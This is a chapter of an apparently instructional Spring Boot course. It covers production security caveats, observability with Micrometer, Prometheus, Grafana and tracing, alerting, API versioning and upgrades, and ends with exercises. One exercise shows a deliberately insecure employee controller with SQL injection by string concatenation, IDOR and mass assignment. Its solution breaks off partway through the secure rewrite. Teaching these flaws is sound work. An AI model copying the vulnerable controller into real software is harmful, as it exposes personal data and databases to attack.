⚠️ IMPORTANT WARNING

What you have learned in this lesson is a solid foundation, and it is not enough to put into production a system that handles personal data, credentials or money.

A course can teach you the mechanisms: BCrypt, JWT, authorisation, validation, headers. It cannot replace:

  • A review by a security professional. Real vulnerabilities usually live in the interactions between components, not in one isolated mechanism. Someone who does this for a living sees things that whoever wrote the code cannot see.
  • A penetration test before exposing the system to the internet.
  • Compliance with the applicable regulations. In the European Union, the GDPR imposes concrete obligations backed by fines: a legal basis for processing the data, minimisation, the right of access, rectification and erasure, breach notification within 72 hours, impact assessments, and a record of processing activities. If BiblioTech stores employees' names, email addresses and reading habits, it is processing personal data and the GDPR applies.
  • An incident management policy. What happens when —not if— a breach is detected: who decides, who gets told, how credentials are rotated, how it is communicated.
  • Continuous training. Attack techniques evolve. What was safe in 2020 may not be safe today.

Practical rule: if your system handles real people's data, credentials or payments, do not expose it until somebody with specific security training has reviewed it. This is not pessimism: it is that the cost of getting it wrong is paid by third parties who trusted you.

And one more rule, the one that prevents the most incidents: do not roll your own cryptography. Use BCrypt or Argon2 for passwords, TLS for transport, and established libraries for everything else. Every broken cryptographic system in history started with somebody convinced their idea was a good one.


Part II: Observability

  1. Observability: the three pillars

Monitoring answers questions you already knew you were going to ask. Observability lets you answer questions you had not anticipated. The difference matters when the problem is a new one, which it always is.

Pillar What it is Answers Cost Retention
Logs Discrete events with context "What exactly happened in this request?" High (volume) Days or weeks
Metrics Numeric values aggregated over time "How many requests per second? What latency?" Low Months or years
Traces A request's journey through the system "Which component did the time go into?" Medium (sampling) Days

Why logs are not enough, which is what almost everybody has and nothing more:

Question Do the logs answer it?
How many requests per second? By counting lines: expensive and approximate
What is the 99th percentile latency? Practically impossible
Has it got worse compared with last week? Not if they have already been rotated
Is the connection pool running out? Only if somebody thought to log it
What takes longer, the database or the external API? Very laboriously
How much memory is left before the next GC? No

And there is an added problem: logging at the level needed to answer those questions produces such a volume that it becomes unaffordable in cost and in noise. Metrics are cheap because they aggregate; logs are expensive because they keep every event.

  1. Actuator and Micrometer

Micrometer is to metrics what SLF4J is to logging (11-07): a facade that decouples your code from the concrete metrics system. You write against Micrometer and decide afterwards whether they go to Prometheus, Datadog, CloudWatch or New Relic.

<dependency>
  <groupId>org.springframework.boot</groupId>
  <artifactId>spring-boot-starter-actuator</artifactId>
</dependency>
<dependency>
  <groupId>io.micrometer</groupId>
  <artifactId>micrometer-registry-prometheus</artifactId>
  <scope>runtime</scope>
</dependency>
management:
  endpoints:
    web:
      exposure:
        include: health,info,metrics,prometheus,loggers
  endpoint:
    health:
      probes: { enabled: true }
      show-details: when-authorized
  metrics:
    tags:
      application: bibliotech          # tag common to ALL metrics
      environment: ${SPRING_PROFILES_ACTIVE:unknown}
  observations:
    key-values:
      version: ${bibliotech.version}
  prometheus:
    metrics:
      export:
        enabled: true

With that, Spring Boot already exposes dozens of metrics without a line of code:

Metric What it measures
http.server.requests Requests: count, latency, by route, method and status
jvm.memory.used Memory per region (10-07)
jvm.gc.pause Collector pauses
jvm.threads.live Live threads
hikaricp.connections.active Pool connections in use
hikaricp.connections.pending Threads waiting for a connection
spring.data.repository.invocations Repository calls
system.cpu.usage CPU
logback.events Log events by level

The four instrument types:

Type What it measures Example
Counter A value that only grows Loans created
Gauge An instantaneous value Materials available
Timer Duration and frequency Fine calculation time
DistributionSummary Distribution of values Import batch size

  1. Business metrics

Technical metrics tell you whether the system is healthy. Business metrics tell you whether it is doing its job, and they are the ones that catch the silent failures.

@Service
public class BiblioTechMetrics {

    private final Counter loansCreated;
    private final Counter loansRejected;
    private final Counter finesIssued;
    private final Timer fineCalculationTime;
    private final DistributionSummary fineAmounts;

    public BiblioTechMetrics(MeterRegistry registry, MaterialRepository materials) {

        this.loansCreated = Counter.builder("bibliotech.loans.created")
                .description("Loans created successfully")
                .baseUnit("loans")
                .register(registry);

        this.loansRejected = Counter.builder("bibliotech.loans.rejected")
                .description("Rejected loan attempts")
                .register(registry);

        this.finesIssued = Counter.builder("bibliotech.fines.issued")
                .register(registry);

        this.fineCalculationTime = Timer.builder("bibliotech.fines.calculation")
                .publishPercentiles(0.5, 0.95, 0.99)
                .register(registry);

        this.fineAmounts = DistributionSummary.builder("bibliotech.fines.amount")
                .baseUnit("euros")
                .publishPercentiles(0.5, 0.95)
                .register(registry);

        // Gauge: it is read when the metric is collected.
        // CAREFUL: the function must be CHEAP. Here a cached query, not a count() against the DB.
        Gauge.builder("bibliotech.materials.available", materials::countAvailableCached)
                .description("Materials with at least one free copy")
                .register(registry);
    }

    /** With a reason tag: it lets us see WHY they are rejected. */
    public void loanRejected(String reason) {
        loansRejected.increment();
        Counter.builder("bibliotech.loans.rejected.by.reason")
                .tag("reason", reason)      // limit_exceeded, no_copies, unpaid_fines
                .register(registry)
                .increment();
    }
}

And its use, wired into the use case:

@Service
public class LoanManager {

    @Timed(value = "bibliotech.loans.duration", percentiles = {0.5, 0.95, 0.99})
    @Transactional
    public Loan lend(Isbn isbn, Long employeeId, Integer days) {
        try {
            Loan loan = createLoan(isbn, employeeId, days);
            metrics.loanCreated(loan.getMaterial().type());
            return loan;
        } catch (LoanLimitExceededException e) {
            metrics.loanRejected("limit_exceeded");
            throw e;
        } catch (MaterialNotAvailableException e) {
            metrics.loanRejected("no_copies");
            throw e;
        }
    }
}

A warning about cardinality. Never use as a tag a value with many possible values: user identifier, ISBN, IP address, timestamp. Every combination of tags creates a separate time series, and a tag with 100,000 values creates 100,000 series. It is the fastest way to bring down a Prometheus. Good tags: material type (3 values), rejection reason (5), HTTP status (10). Forbidden tags: employeeId, isbn, the full url with parameters.

  1. Prometheus and Grafana

Prometheus collects metrics by scraping: it periodically queries the endpoint the application exposes.

$ curl -s localhost:8080/actuator/prometheus | grep bibliotech_loans
# HELP bibliotech_loans_created_total Loans created successfully
# TYPE bibliotech_loans_created_total counter
bibliotech_loans_created_total{application="bibliotech",environment="prod",type="BOOK"} 1247.0
bibliotech_loans_created_total{application="bibliotech",environment="prod",type="DVD"} 89.0
# prometheus.yml
global:
  scrape_interval: 15s

scrape_configs:
  - job_name: bibliotech
    metrics_path: /actuator/prometheus
    static_configs:
      - targets: ['bibliotech:8080']

rule_files:
  - alerts.yml

PromQL queries for the questions people actually ask:

# Requests per second, by endpoint
sum(rate(http_server_requests_seconds_count[5m])) by (uri)

# 95th percentile latency
histogram_quantile(0.95, sum(rate(http_server_requests_seconds_bucket[5m])) by (le, uri))

# Error rate (5xx over the total)
sum(rate(http_server_requests_seconds_count{status=~"5.."}[5m]))
/ sum(rate(http_server_requests_seconds_count[5m]))

# Connection pool usage
hikaricp_connections_active / hikaricp_connections_max

# Loans per hour
sum(rate(bibliotech_loans_created_total[1h])) * 3600

# Heap memory in use, as a percentage
sum(jvm_memory_used_bytes{area="heap"}) / sum(jvm_memory_max_bytes{area="heap"})

Add the full stack to compose.yaml (12-06) for development:

  prometheus:
    image: prom/prometheus:latest
    volumes:
      - ./observability/prometheus.yml:/etc/prometheus/prometheus.yml:ro
      - ./observability/alerts.yml:/etc/prometheus/alerts.yml:ro
    ports: ["9090:9090"]

  grafana:
    image: grafana/grafana:latest
    environment:
      GF_SECURITY_ADMIN_PASSWORD: ${GRAFANA_PASSWORD:-admin}
    volumes:
      - ./observability/grafana:/etc/grafana/provisioning:ro
    ports: ["3000:3000"]
    depends_on: [prometheus]

  1. The four golden signals

Of all the possible metrics, there are four that answer 90% of operational questions. They come from Google's SRE book and they are the starting point for any dashboard:

Signal What it measures In BiblioTech Alert if
Latency Response time p95 and p99 of http.server.requests p95 > 500 ms for 5 min
Traffic Demand Requests per second A 50% drop against the usual level
Errors Failed requests 5xx rate > 1% for 5 min
Saturation How full the system is Connection pool, memory, CPU Pool > 80%, heap > 85%

Two nuances that matter more than they look:

Measure percentiles, not averages. The average hides exactly the cases that hurt. With 1,000 requests at 50 ms and 10 at 8 seconds, the average is 129 ms —looks fine— and there are ten users convinced the system is broken. The p99 does see it.

The latency of errors is measured separately. A 500 that responds in 3 ms artificially improves the latency average. Always separate the latency of successful requests from that of failed ones.

  1. Distributed tracing

When a request crosses several components, scattered logs do not tell you where the time went. Traces follow the request end to end.

<dependency>
  <groupId>io.micrometer</groupId>
  <artifactId>micrometer-tracing-bridge-otel</artifactId>
</dependency>
<dependency>
  <groupId>io.opentelemetry</groupId>
  <artifactId>opentelemetry-exporter-otlp</artifactId>
</dependency>
management:
  tracing:
    sampling:
      probability: 0.1        # 10% of requests: low cost, big enough sample
  otlp:
    tracing:
      endpoint: http://tempo:4318/v1/traces

logging:
  pattern:
    # traceId and spanId on EVERY log line: that is what joins a trace to its logs
    level: "%5p [${spring.application.name},%X{traceId:-},%X{spanId:-}]"

A trace of POST /api/loans:

Trace a3f7e91c4b2d8f6a  ─── total: 187 ms
├── http POST /api/loans                                   187 ms
│   ├── LoanManager.lend                                   184 ms
│   │   ├── select materials where isbn = ?                  4 ms
│   │   ├── select count(*) from loans where …               3 ms
│   │   ├── MetadataGateway.search (external HTTP)         142 ms  ← THE CULPRIT
│   │   ├── insert into loans                                6 ms
│   │   └── NoticeSender.send                               27 ms
│   └── JSON serialisation                                   2 ms

At a glance: 76% of the time goes into one external HTTP call. Without traces, that is hours of manual instrumentation.

And this is where the MDC from 11-07 pays off. The traceId that Micrometer Tracing propagates is the same correlation identifier you already put in the MDC, the same one that appears in the ProblemDetail from 12-04, and the same one the CLI returns as its incident identifier (12-03). A user reports a problem with the identifier a3f7e91c; with it you have the complete trace, every log line for that request, and the exact point where it failed.

Your own spans where they are needed:

@Service
public class CatalogEnricher {

    private final ObservationRegistry registry;

    public void enrich(List<Material> materials) {
        Observation.createNotStarted("bibliotech.enrich", registry)
                .lowCardinalityKeyValue("source", "metadata-api")
                .highCardinalityKeyValue("count", String.valueOf(materials.size()))
                .observe(() -> {
                    materials.forEach(this::enrichOne);
                });
    }
}

  1. Logs in production

In production, logs must be structured. A plain-text log forces the tooling to guess; a JSON one is queried like a database.

<!-- logback-spring.xml, picking up 11-07 -->
<configuration>

  <springProfile name="dev">
    <appender name="CONSOLE" class="ch.qos.logback.core.ConsoleAppender">
      <encoder>
        <pattern>%d{HH:mm:ss.SSS} %highlight(%-5level) [%X{traceId:-}] %cyan(%logger{25}) - %msg%n</pattern>
      </encoder>
    </appender>
    <root level="INFO"><appender-ref ref="CONSOLE"/></root>
  </springProfile>

  <springProfile name="prod">
    <appender name="JSON" class="ch.qos.logback.core.ConsoleAppender">
      <encoder class="net.logstash.logback.encoder.LogstashEncoder">
        <includeMdcKeyName>traceId</includeMdcKeyName>
        <includeMdcKeyName>spanId</includeMdcKeyName>
        <includeMdcKeyName>userId</includeMdcKeyName>
        <customFields>{"application":"bibliotech","environment":"prod"}</customFields>
        <fieldNames>
          <timestamp>timestamp</timestamp>
          <message>message</message>
        </fieldNames>
      </encoder>
    </appender>

    <!-- Asynchronous: logging must NOT slow requests down -->
    <appender name="ASYNC" class="ch.qos.logback.classic.AsyncAppender">
      <appender-ref ref="JSON"/>
      <queueSize>2048</queueSize>
      <discardingThreshold>0</discardingThreshold>   <!-- never discard WARN or ERROR -->
      <neverBlock>true</neverBlock>                  <!-- under saturation, discard rather than block -->
    </appender>

    <root level="INFO"><appender-ref ref="ASYNC"/></root>
    <logger name="AUDIT" level="INFO" additivity="false">
      <appender-ref ref="ASYNC"/>
    </logger>
  </springProfile>
</configuration>
{
  "timestamp": "2026-08-05T10:23:45.123Z",
  "level": "INFO",
  "logger_name": "com.nexussoftware.bibliotech.application.LoanManager",
  "message": "Loan created id=42 isbn=978-0000000001",
  "traceId": "a3f7e91c4b2d8f6a",
  "spanId": "8f6a2b1c",
  "userId": "1",
  "application": "bibliotech",
  "environment": "prod"
}

In containers, always write to standard output. Not to files: the container is ephemeral (12-06) and the orchestrator already collects standard output and ships it to the aggregator (Loki, Elasticsearch, CloudWatch).

What NOT to log, ever:

Do not log Reason
Passwords, not even for debugging They sit in the aggregator for months
Tokens, API keys, session cookies Stealable with read-only access to the log
Card numbers, national ID numbers, health data GDPR and PCI-DSS
Full request bodies They usually carry all of the above
Unnecessary personal data GDPR data minimisation
Inside a loop over 50,000 elements Cost and noise

Retention, on grounds of both cost and regulation:

Type Retention Reason
DEBUG Not logged in production Volume
INFO 7-14 days Recent diagnosis
WARN / ERROR 30-90 days Trend analysis
Audit 1-7 years Legal obligation
Metrics 13 months Comparison with the previous year

  1. Useful alerts versus noise

An alert that gets ignored is worse than no alert at all: it trains the team to ignore them all.

Good alert Bad alert
Requires human action now It is informational
Indicates user impact Indicates a cause that may not matter
Rare and credible Frequent and full of false positives
Says what to do Only says what happened
Has an associated procedure Nobody knows what to do with it
# alerts.yml
groups:
  - name: bibliotech
    rules:

      # ✅ GOOD: direct user impact, requires action
      - alert: HighErrorRate
        expr: |
          sum(rate(http_server_requests_seconds_count{status=~"5..",application="bibliotech"}[5m]))
          / sum(rate(http_server_requests_seconds_count{application="bibliotech"}[5m])) > 0.01
        for: 5m
        labels: { severity: critical }
        annotations:
          summary: "More than 1% of requests are failing with 5xx"
          description: "Current rate: {{ $value | humanizePercentage }}"
          action: "Check the logs with severity=ERROR and the traces from the latest deployment"
          runbook: "https://wiki.nexussoftware.com/bibliotech/runbook#5xx-errors"

      # ✅ GOOD: predicts a failure before it happens
      - alert: ConnectionPoolRunningOut
        expr: hikaricp_connections_pending{application="bibliotech"} > 5
        for: 3m
        labels: { severity: high }
        annotations:
          summary: "{{ $value }} threads waiting for a database connection"
          action: "Look for slow queries; consider raising maximum-pool-size"

      # ✅ GOOD: detects a SILENT failure
      - alert: NoLoansDuringBusinessHours
        expr: |
          sum(rate(bibliotech_loans_created_total[30m])) == 0
          and on() (hour() >= 8 < 18) and on() (day_of_week() > 0 < 6)
        for: 30m
        labels: { severity: medium }
        annotations:
          summary: "Not a single loan in 30 minutes during business hours"
          description: "The system responds, but there may be a functional failure"

      # ❌ BAD: implies no impact and fires constantly
      # - alert: HighCpuUsage
      #   expr: system_cpu_usage > 0.8
      #   A 30-second CPU spike does not require anybody to get out of bed.

      # ❌ BAD: informational, not actionable
      # - alert: DeploymentCompleted
      #   That belongs in a notifications channel, not in an alert.

The "no loans during business hours" alert is the most interesting of the three, because it catches the kind of failure no technical metric sees: the system returns 200 to everything, latency is perfect, the CPU is relaxed… and a broken business rule stops anybody from borrowing anything.

Note: SLI, SLO and error budget. An SLI (indicator) is a metric that measures the user experience: for example, "percentage of successful requests under 300 ms". An SLO (objective) is the target: "99.5% monthly". The error budget is what is left over: at 99.5%, you can fail 0.5% of the month, that is, about 3.6 hours. Its value is that it turns a subjective argument into a decision backed by data: if you have burned 80% of the budget in the first week, new features are frozen and the effort goes into reliability. And if you have gone six months without spending it, you are probably being too conservative and could deploy more often. A 100% SLO is not an ambitious target: it is a badly defined one, because its cost is infinite.

  1. The BiblioTech dashboard

A Grafana dashboard with three rows, ordered by what gets looked at first:

Row Panels For whom
Health Availability, error rate, p95 and p99, requests per second Everybody, at a glance
Resources Heap, GC pauses, threads, connection pool, CPU Whoever is diagnosing
Business Loans/hour, returns, fines issued, materials available, rejections by reason Product and operations
{
  "title": "BiblioTech — Health",
  "panels": [
    {
      "title": "Error rate (5xx)",
      "targets": [{ "expr": "sum(rate(http_server_requests_seconds_count{status=~\"5..\"}[5m])) / sum(rate(http_server_requests_seconds_count[5m]))" }],
      "thresholds": [{ "value": 0.01, "color": "red" }]
    },
    {
      "title": "p95 latency by endpoint",
      "targets": [{ "expr": "histogram_quantile(0.95, sum(rate(http_server_requests_seconds_bucket[5m])) by (le, uri))" }]
    },
    {
      "title": "Loans per hour",
      "targets": [{ "expr": "sum(rate(bibliotech_loans_created_total[1h])) * 3600" }]
    },
    {
      "title": "Rejections by reason",
      "targets": [{ "expr": "sum(rate(bibliotech_loans_rejected_by_reason_total[15m])) by (reason)" }]
    }
  ]
}

And a dashboard design rule: if a panel has never helped anyone make a decision, remove it. A dashboard with forty charts does not get looked at; one with eight does.


Part III: Evolution

  1. API versioning and deprecation

The moment an external client consumes your API, the contract stops being yours. Changing it breaks other people's systems.

Strategy Example Advantages Drawbacks
In the URI /api/v1/materials Explicit, cacheable, easy to route Duplicates routes; not very "pure REST"
Custom header X-Api-Version: 2 Clean URI Invisible; hard to test from a browser
Content negotiation Accept: application/vnd.bibliotech.v2+json The most "correct" Awkward to use and to debug
Parameter /api/materials?version=2 Very simple Gets mixed up with the filters
No version /api/materials Free Only viable if there are never breaking changes

Recommendation for BiblioTech: the version in the URI. It is not the most elegant, it is the most practical: you see it in any log, you test it with curl, you route it at the proxy and everybody understands it.

The most important thing is not the strategy but knowing which changes break clients and which do not:

Change Breaking?
Adding a field to the response No (if clients ignore what they do not know)
Adding an optional parameter No
Adding an endpoint No
Removing a field from the response Yes
Renaming a field Yes
Changing the type of a field Yes
Making an optional field mandatory Yes
Changing a status code Yes
Narrowing a range of values Yes

The first row is the key one: if your clients ignore unknown fields, you can add without breaking. That is why @JsonIgnoreProperties(ignoreUnknown = true) from 11-07 is not a detail: it is what allows the API to evolve.

Orderly deprecation, in four phases:

@GetMapping("/api/v1/materials/{isbn}")
@Deprecated(since = "1.5.0", forRemoval = true)
@Operation(deprecated = true,
           summary = "[DEPRECATED] Use /api/v2/materials/{isbn}",
           description = "Will be removed on 2027-01-01. Changes in v2: the 'available' field "
                       + "(boolean) is replaced by 'availableCopies' (integer).")
public ResponseEntity<MaterialResponseV1> byIsbnV1(@PathVariable Isbn isbn) {
    return ResponseEntity.ok()
            .header("Deprecation", "true")                                    // RFC 8594
            .header("Sunset", "Fri, 01 Jan 2027 00:00:00 GMT")
            .header("Link", "</api/v2/materials/" + isbn + ">; rel=\"successor-version\"")
            .body(MaterialResponseV1.from(catalog.byIsbn(isbn).orElseThrow()));
}
Phase Duration What happens
1. Announcement Publish v2, document the migration, notify the clients
2. Deprecation 6-12 months v1 keeps working, with Deprecation and Sunset headers; measure its usage
3. Final warning 1 month Contact directly whoever is still on v1
4. Removal v1 returns 410 Gone with a link to v2

And one metric that makes all of this work:

@Component
public class ApiVersionMetrics {
    @EventListener
    public void onV1Used(V1RequestEvent event) {
        Counter.builder("bibliotech.api.v1.usage")
                .tag("client", event.clientId())                   // low cardinality
                .register(registry)
                .increment();
    }
}

Without that metric, retiring v1 is a gamble. With it, you know exactly who is left and you can call them.

  1. Technical debt and upgrades

Managing the debt. Picking up 12-05, debt is managed by making it visible:

Practice How
Record it Issues tagged technical-debt with their estimated cost
Quantify it "This costs us 2 h per sprint" is an argument; "it's ugly" is not
Budget for it 15-20% of each iteration's capacity
Pay it where it hurts Refactor what you touch often, not what is ugly and untouched
Prevent it Clean as You Code from 12-05

Upgrading Java. The support calendar:

Version Type Supported until
Java 17 LTS 2029
Java 21 LTS 2031
Java 25 LTS ~2033
Interim (22, 23, 24…) 6 months The next one

A sensible strategy: production on LTS, and test every interim release in CI (the matrix from 12-05) to spot problems early.

Upgrading Spring Boot, which is usually the bigger job:

Type Example Risk Frequency
Patch 3.3.4 → 3.3.5 Very low. Security fixes Monthly
Minor 3.3 → 3.4 Low. Some deprecations Every 6 months
Major 2.7 → 3.0 High: javaxjakarta, Java 17 minimum With planning
./mvnw versions:display-dependency-updates       # which dependencies have a new version
./mvnw versions:display-plugin-updates
./mvnw versions:display-property-updates

A safe procedure for a major upgrade, the one that saves you the lost weeks:

  1. Read the official migration notes, all of them. It is not optional.
  2. A branch of its own, only for the upgrade. No features mixed in.
  3. Move up one minor version at a time (3.1 → 3.2 → 3.3), not in one jump.
  4. Run the full suite at every hop.
  5. Fix deprecations before moving to the next major.
  6. Deploy to staging and watch the metrics for 48 hours.
  7. Production with blue-green (12-06), ready to roll back.

And a tool that saves a lot of mechanical work: OpenRewrite applies migration recipes automatically.

./mvnw org.openrewrite.maven:rewrite-maven-plugin:run \
  -Drewrite.activeRecipes=org.openrewrite.java.spring.boot3.UpgradeSpringBoot_3_3

  1. Documentation that survives

All documentation goes stale. The only kind that does not is the kind that is generated or verified automatically.

Document Where How it survives
README Root of the repository CI runs its start-up commands
OpenAPI Generated from the code It is generated; it cannot lie
ADR docs/adr/ Immutable by design (12-01)
Domain Javadoc In the code You read it while using the class
Runbooks Wiki, linked from the alerts Reviewed after every incident
Architecture diagrams docs/, as code (Mermaid, PlantUML) Reviewed in the PR
Wiki with "how the system works" It does not survive. Avoid it

A runbook is what you are most grateful for at three in the morning:

# Runbook: HighErrorRate

## What it means
More than 1% of requests return 5xx for 5 minutes.

## Impact
Users are getting errors. High priority.

## Diagnosis
1. Was there a deployment in the last hour?
   `kubectl rollout history deployment/bibliotech -n production`
   → If so, **that is the first hypothesis**: `kubectl rollout undo`
2. Which endpoint is failing?
   Grafana → BiblioTech Health → "Errors by endpoint"
3. Which exception?
   `{application="bibliotech"} | json | level="ERROR"` in Loki, last 15 min
4. Is the database responding?
   `curl -s $BASE/actuator/health | jq .components.db`
5. Is the pool saturated?
   Grafana → Resources → "Pending connections"

## Frequent causes
| Symptom | Cause | Fix |
|---|---|---|
| Errors after a deployment | Regression | `kubectl rollout undo` |
| `CannotGetJdbcConnection` | DB down or pool exhausted | Check the DB; look for slow queries |
| `SocketTimeoutException` to metadata | External API down | Switch on degraded mode |
| OOMKilled pods | Not enough memory | Raise the limit; look for leaks (10-07) |

## Escalation
Unresolved after 30 min → page the on-call lead.

  1. How to grow BiblioTech

Nexus Software is growing and BiblioTech has to grow with it. Four scenarios and how each would be tackled:

1. Multi-branch. The company opens offices in Valencia and Lisbon; each one with its own collection.

// The domain takes the branch on board as a first-class concept
public record Branch(Long id, String name, String city, ZoneId timeZone) { }

public class Copy {                        // NEW: separate Material from its physical copies
    private Material material;             // the "what" (shared)
    private Branch branch;                 // the "where"
    private String internalCode;
    private CopyStatus status;
}

Watch out for time zones: fines are calculated in days, and a day does not start at the same moment in Madrid and in Lisbon. The injectable Clock from 10-05 becomes a Clock per branch.

2. Real email notifications. The NoticeSender port already exists (12-01), so this is a matter of writing a new adapter — with two precautions: asynchronous sending so the request is not blocked, and retries with exponential backoff, because SMTP servers fail.

@Component
class RetryingEmailNotifier implements NoticeSender {

    @Async
    @Retryable(retryFor = MailException.class, maxAttempts = 3,
               backoff = @Backoff(delay = 2000, multiplier = 3))
    public void send(Notice notice) { … }

    @Recover
    void onRetriesExhausted(MailException e, Notice notice) {
        // Onto a failure queue, for manual retry. NEVER lose the notice silently.
        failedNoticeRepository.save(FailedNotice.of(notice, e));
    }
}

3. Mobile app. It requires no changes: the REST API from 12-04 is already its back end. What does have to be added is the mobile-specific part: push notifications, offline sync, and cursor-based pagination (12-04), because on mobile people scroll endlessly.

4. Events. BiblioTech already publishes internal events with ApplicationEventPublisher (12-02). When other Nexus Software systems need to react, those events go out onto a queue:

@Component
class ExternalEventPublisher {

    @TransactionalEventListener(phase = TransactionPhase.AFTER_COMMIT)
    public void publish(MaterialReturned event) {
        // "Outbox" pattern: store the event in the SAME transaction as the change,
        // and publish it afterwards from a separate process.
        // Without this, a failure after the commit loses the event.
        outboxRepository.save(OutboxEvent.of(event));
    }
}

The outbox pattern solves a real problem: there is no distributed transaction between the database and the message queue, so storing the event in the same transaction as the change is the only way to guarantee that either both happen or neither does.

  1. When NOT to split into microservices

At this point, somebody will propose splitting BiblioTech into catalog-service, loans-service, notices-service and reports-service. It is worth being clear about the costs.

Aspect Modular monolith Microservices
Deployment One One per service
Transactions ACID out of the box Eventual consistency, sagas
Debugging One stack trace Distributed tracing compulsory
Refactoring across modules The compiler helps Coordinated contract changes
Latency between components Nanoseconds Milliseconds, plus network failures
Integration tests Direct Contracts, doubles, environments
Scaling one part You scale everything Only what needs it
Independent teams Coordination Autonomy
Operational cost Low High and permanent

When NOT to split:

  • The team has fewer than 15-20 people. Below that, coordination is not the bottleneck.
  • There are no scaling problems that horizontal scaling (12-06) does not solve.
  • There are no clear domain boundaries. Splitting badly produces a distributed monolith: the drawbacks of both options and the advantages of neither.
  • There is no operational experience: observability, deployment, handling partial failures.
  • The reason is "it's what everybody is doing".

When you should:

  • Teams constantly treading on each other in the same code.
  • One part with radically different scaling requirements.
  • A need for different technologies for different parts.
  • Fault isolation that is genuinely critical.

And the middle road, which almost always wins: a modular monolith, which is exactly what BiblioTech has been since 12-01. Modules with boundaries the compiler verifies, communication through interfaces, and a single deployment. If one day a module needs to come out, it comes out — and it comes out easily, precisely because the boundary was already defined.

Martin Fowler's recommendation, and the most sensible thing anybody has said on the subject: start with a well-modularised monolith and extract services when the pain justifies it. Almost nobody has succeeded by starting with microservices; plenty of people have succeeded by extracting them from a monolith they understood well.

Common Mistakes and Tips

1. Storing passwords with SHA-256. It is a good algorithm for what it was designed for, and its speed —its virtue— is the exact flaw for passwords. BCrypt or Argon2id.

2. Long-lived JWTs with no revocation. A stolen 24-hour token is 24 hours of access. Short lifetime plus a revocable refresh token.

3. Putting sensitive data in the JWT. It is not encrypted. Anybody can read it.

4. Trusting URL security alone. @PreAuthorize on the services too, because the CLI and the scheduled jobs do not go through the controllers.

5. Forgetting the ownership check. Being authenticated does not mean that loan is yours. It is the most frequent access-control vulnerability.

6. Metrics with high-cardinality tags. tag("isbn", isbn) creates one time series per ISBN and brings Prometheus down.

7. Logging full request bodies. Passwords, tokens and personal data end up in the aggregator for months.

8. Alerting on causes instead of symptoms. "High CPU" gets ignored within two weeks. "3% of requests are failing" demands action.

9. Alerts with no runbook. At three in the morning, nobody remembers what to do. Link the procedure from the alert itself.

10. Breaking the API without warning. Removing a field breaks every client. Deprecate with headers, measure usage and give months of notice.

11. Upgrading Spring Boot two major versions at once. Move up one minor at a time, with the suite green at every hop.

12. Splitting into microservices "because it's time". Without large teams, clear boundaries and operational experience, it swaps known problems for worse ones.

Final tip for this part: security and observability are not bolted on at the end. They are designed in from the start, even if they are implemented later. BiblioTech was able to add them now without trauma for a concrete reason: it had architecture (12-01), clear boundaries (12-02), structured errors (module 6), MDC correlation (11-07) and externalised configuration (12-01). In a project without that, adding security and observability is a rewrite.

Exercises

Exercise 1: closing an access-control vulnerability

This endpoint is in production in BiblioTech:

@RestController
@RequestMapping("/api/employees")
public class EmployeeController {

    @GetMapping("/{id}")
    public Employee byId(@PathVariable Long id) {
        return repository.findById(id).orElseThrow();
    }

    @GetMapping("/{id}/loans")
    public List<Loan> loans(@PathVariable Long id) {
        return loanRepository.findByEmployeeId(id);
    }

    @PutMapping("/{id}")
    public Employee update(@PathVariable Long id, @RequestBody Employee employee) {
        employee.setId(id);
        return repository.save(employee);
    }

    @GetMapping("/search")
    public List<Employee> search(@RequestParam String name) {
        return em.createQuery("select e from Employee e where e.name like '%" + name + "%'",
                              Employee.class).getResultList();
    }
}

Identify all the vulnerabilities (there are at least seven), classify them by severity and rewrite the controller securely, with the corresponding security tests.

Exercise 2: metrics and alerts for a new feature

BiblioTech is adding automatic renewal: loans that fall due and have no pending reservations renew themselves every night.

Design the complete observability:

  • Which metrics to instrument (name, type, tags) and why.
  • What gets logged and at what level.
  • Three useful alerts, with their PromQL expression, a justified threshold and their action.
  • The dashboard panels.
  • How you would detect that the feature has stopped running without anybody noticing.

Exercise 3: an API evolution plan

BiblioTech v1 has this endpoint, consumed by the mobile app, the intranet and an HR system:

GET /api/v1/loans/42
{
  "id": 42,
  "isbn": "978-0000000001",
  "employee": "Marta Ruiz",
  "due": "2026-08-20",
  "returned": false,
  "fine": 0
}

v2 is needed with: employee as an object ({id, name, email}), returned replaced by status (an enum), fine as an object ({amount, currency}), and new fields renewable and daysRemaining.

Write the full migration plan: versioning strategy, how the two versions coexist, the deprecation timeline, how you measure who is still on v1, the communication to the clients, and the code for both versions.


Solutions

Solution 1

Vulnerabilities identified (nine):

# Vulnerability Severity Impact
1 SQL injection in /search Critical Reading and modifying the whole database
2 No authentication on any endpoint Critical Public access to personal data
3 IDOR in /{id} and /{id}/loans Critical Anybody sees anybody else's data
4 Mass assignment in the PUT with an entity Critical Changing role, passwordHash or version
5 JPA entity exposure High The JSON includes the password hash
6 PUT with no authorisation check High Anybody modifies anybody
7 orElseThrow() with no specific exception Medium NoSuchElementException → 500 instead of 404
8 No pagination in /search Medium Denial of service with a broad search
9 No length limit on name Low Expensive queries

Complete rewrite:

@RestController
@RequestMapping("/api/v1/employees")
@Validated
@Tag(name = "Employees")
public class EmployeeController {

    private final EmployeeService service;
    private final ManageLoans loans;

    // ---------------------------------------------------------------
    // Fetching one employee: either it is you, or you are ADMIN
    // ---------------------------------------------------------------
    @GetMapping("/{id}")
    @PreAuthorize("#id == authentication.principal.id or hasRole('ADMIN')")
    public EmployeeResponse byId(@PathVariable Long id) {
        return service.findById(id)
                .map(EmployeeResponse::from)           // DTO: no password hash, no internal role
                .orElseThrow(() -> new EmployeeNotFoundException(id));       // → 404
    }

    // ---------------------------------------------------------------
    // Loans: your own, or LIBRARIAN/ADMIN
    // ---------------------------------------------------------------
    @GetMapping("/{id}/loans")
    @PreAuthorize("#id == authentication.principal.id or hasAnyRole('LIBRARIAN','ADMIN')")
    public PageResponse<LoanResponse> loansOf(
            @PathVariable Long id,
            @RequestParam(required = false) LoanStatus status,
            @PageableDefault(size = 20, sort = "loanDate",
                             direction = Sort.Direction.DESC) Pageable pageable) {

        if (!service.exists(id)) throw new EmployeeNotFoundException(id);

        return PageResponse.from(
                loans.ofEmployee(id, status, pageable).map(LoanResponse::from));
    }

    // ---------------------------------------------------------------
    // Update: closed DTO, never the entity
    // ---------------------------------------------------------------
    @PutMapping("/{id}")
    @PreAuthorize("#id == authentication.principal.id or hasRole('ADMIN')")
    public EmployeeResponse update(@PathVariable Long id,
                                   @Valid @RequestBody UpdateEmployeeRequest request) {
        // The DTO has ONLY the modifiable fields.
        // It is IMPOSSIBLE to send role, passwordHash, version or id.
        return EmployeeResponse.from(service.update(id, request));
    }

